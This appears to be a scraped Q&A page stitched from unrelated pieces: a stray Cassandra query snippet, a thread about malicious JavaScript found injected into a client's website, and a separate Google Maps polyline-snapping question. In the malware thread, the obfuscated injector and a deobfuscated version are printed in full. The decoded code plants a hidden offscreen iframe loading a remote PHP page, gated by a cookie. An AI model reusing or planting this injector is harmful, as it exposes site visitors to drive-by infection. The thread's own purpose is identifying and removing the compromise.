query = "SELECT * FROM my_cute_cassandra_table;"
statement = SimpleStatement(query, fetch_size = fetch_size)
results = session.execute(statement, paging_state=paging_state)

what is this script?malware?

I developed a site about a year and half ago.It is very basic and simple html and little javascript.But all of sudden client informed me that his site is black-listed and in google it is showing that "may harm your computer..." msg.I looked into website's view source and noticed some additional scripts are there.I upgraded it to html5 and asked him to delete all previous files and put new files.That's worked fine and made it clear from being black-listed.just now out of curiosity I checked the site, upon visiting a "url not found" message is appearing in one corner,(for the first time only) and in source there are some additional scripts like before.I just copied it form source.
sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:71:62:64:5f:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:71:62:64:5f:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:71:62:64:5f:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:69:60:5c:6b:58:6d:58:6a:25:5a:66:64:26:4d:6e:71:5d:69:5e:44:42:25:67:5f:67:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2b:27:2d:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2b:27:2d:67:6f:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2b:27:2d:67:6f:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2b:27:2d:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2b:27:2d:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:71:62:64:5f:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:71:62:64:5f:53:1e:17:5a:63:58:6a:6a:34:53:1e:71:62:64:5f:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:71:62:64:5f:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:71:62:64:5f:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:71:62:64:5f:27:30:1f:20:32:4:1:74:4:1:74"[sp](":");}w=f;s=[];for(i=22-20-2;-i+1406!=0;i+=1){j=i;if((0x19==031))s+=String["fromCharCode"](eval(aq+w[1*j])+0xa-bv);}ht=eval;ht(s)}
I don't have idea what is this?Is it some malware or what?If it is a some kind of malware, what should I do and how to prevent it?I am afraid if it going to be blacklisted again.
Any idea or advice would be greatly appreciated
Thanks in advance
Confirmed it to be malware - see link below. Seems to be a compromised admin password. First change that.
Is it a Wordpress site? I've heard good things about Better WP security plugin but I'm not too familiar with it.
If not Wordpress - seeing as you say "simple html, little javascript" check for SQL injection possibilities in any forms, etc., change FTP password.
Good luck!
Limeworks.org malware - Threat Report
after deobfuscation, this is the code you got:
function zkmh09() {
var static='ajax';
var controller='index.php';
var zkmh = document.createElement('iframe');
zkmh.src = 'http://rietavas.com/VwzfrgMK.php';
zkmh.style.position = 'absolute';
zkmh.style.color = '406';
zkmh.style.height = '406px';
zkmh.style.width = '406px';
zkmh.style.left = '1000406';
zkmh.style.top = '1000406';
if (!document.getElementById('zkmh')) {
document.write('<p id=\'zkmh\' class=\'zkmh09\' ></p>');
document.getElementById('zkmh').appendChild(zkmh);
}
}
function SetCookie(cookieName,cookieValue,nDays,path) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue)
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) &&
( name != document.cookie.substring( 0, name.length ) ) )
{
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
zkmh09();
}
}
as you can see it creates an iframe element and send an ajax requests to http://ri***vas.com/Vwz***MK.php page. also it has two other function to set and get cookies.

How to snap a polyline to a road with walking travelmode in Google Maps?

II want an user to draw a route with polylines on GoogleMaps. I've found a way to snap a polyline ( example in the link, code in below ). The code works with the directions service to draw a polyline on a road, the only problem is this only works with G_TRAVELMODE_DRIVING but I want to use G_TRAVELMODE_WALKING and when you use WALKING you have to supply the map and a div in the constructor of the directions object. When I do that it automatically removes the last line and only displays the current line. I've tried several things like supplying the map as null, or leaving out the map in the constructor.. I've also tried to give a second map in the constructor, get the polylines from the directions service and display them on the right map. But nothing works! I'd appreciate it if someone could help me!
http://econym.org.uk/gmap/example_snappath.htm
if (GBrowserIsCompatible()) {
var map = new GMap2(document.getElementById("map"));
map.setCenter(new GLatLng(53.7877, -2.9832),13)
map.addControl(new GLargeMapControl());
map.addControl(new GMapTypeControl());
var dirn = new GDirections();
var firstpoint = true;
var gmarkers = [];
var gpolys = [];
var dist = 0;
GEvent.addListener(map, "click", function(overlay,point) {
// == When the user clicks on a the map, get directiobns from that point to itself ==
if (!overlay) {
if (firstpoint) {
dirn.loadFromWaypoints([point.toUrlValue(6),point.toUrlValue(6)],{getPolyline:true});
} else {
dirn.loadFromWaypoints([gmarkers[gmarkers.length-1].getPoint(),point.toUrlValue(6)],{getPolyline:true});
}
}
});
// == when the load event completes, plot the point on the street ==
GEvent.addListener(dirn,"load", function() {
// snap to last vertex in the polyline
var n = dirn.getPolyline().getVertexCount();
var p=dirn.getPolyline().getVertex(n-1);
var marker=new GMarker(p);
map.addOverlay(marker);
// store the details
gmarkers.push(marker);
if (!firstpoint) {
map.addOverlay(dirn.getPolyline());
gpolys.push(dirn.getPolyline());
dist += dirn.getPolyline().Distance();
document.getElementById("distance").innerHTML="Path length: "+(dist/1000).toFixed(2)+" km. "+(dist/1609.344).toFixed(2)+" miles.";
}
firstpoint = false;
});
GEvent.addListener(dirn,"error", function() {
GLog.write("Failed: "+dirn.getStatus().code);
});
}
else {
alert("Sorry, the Google Maps API is not compatible with this browser");
}
I know it's an old post, but since no answer came forward and I've recently been working on this sort of code (and got it working), try swapping the addListener with this.
GEvent.addListener(map, "click", function(overlay,point) {
// == When the user clicks on a the map, get directiobns from that point to itself ==
if (!overlay) {
if (firstpoint) {
dirn1.loadFromWaypoints([point.toUrlValue(6),point.toUrlValue(6)],{ getPolyline:true,travelMode:G_TRAVEL_MODE_WALKING});
} else {
dirn1.loadFromWaypoints([gmarkers[gmarkers.length-1].getPoint(),point.toUrlValue(6)],{ getPolyline:true,travelMode:G_TRAVEL_MODE_WALKING});
}
}
});

Resources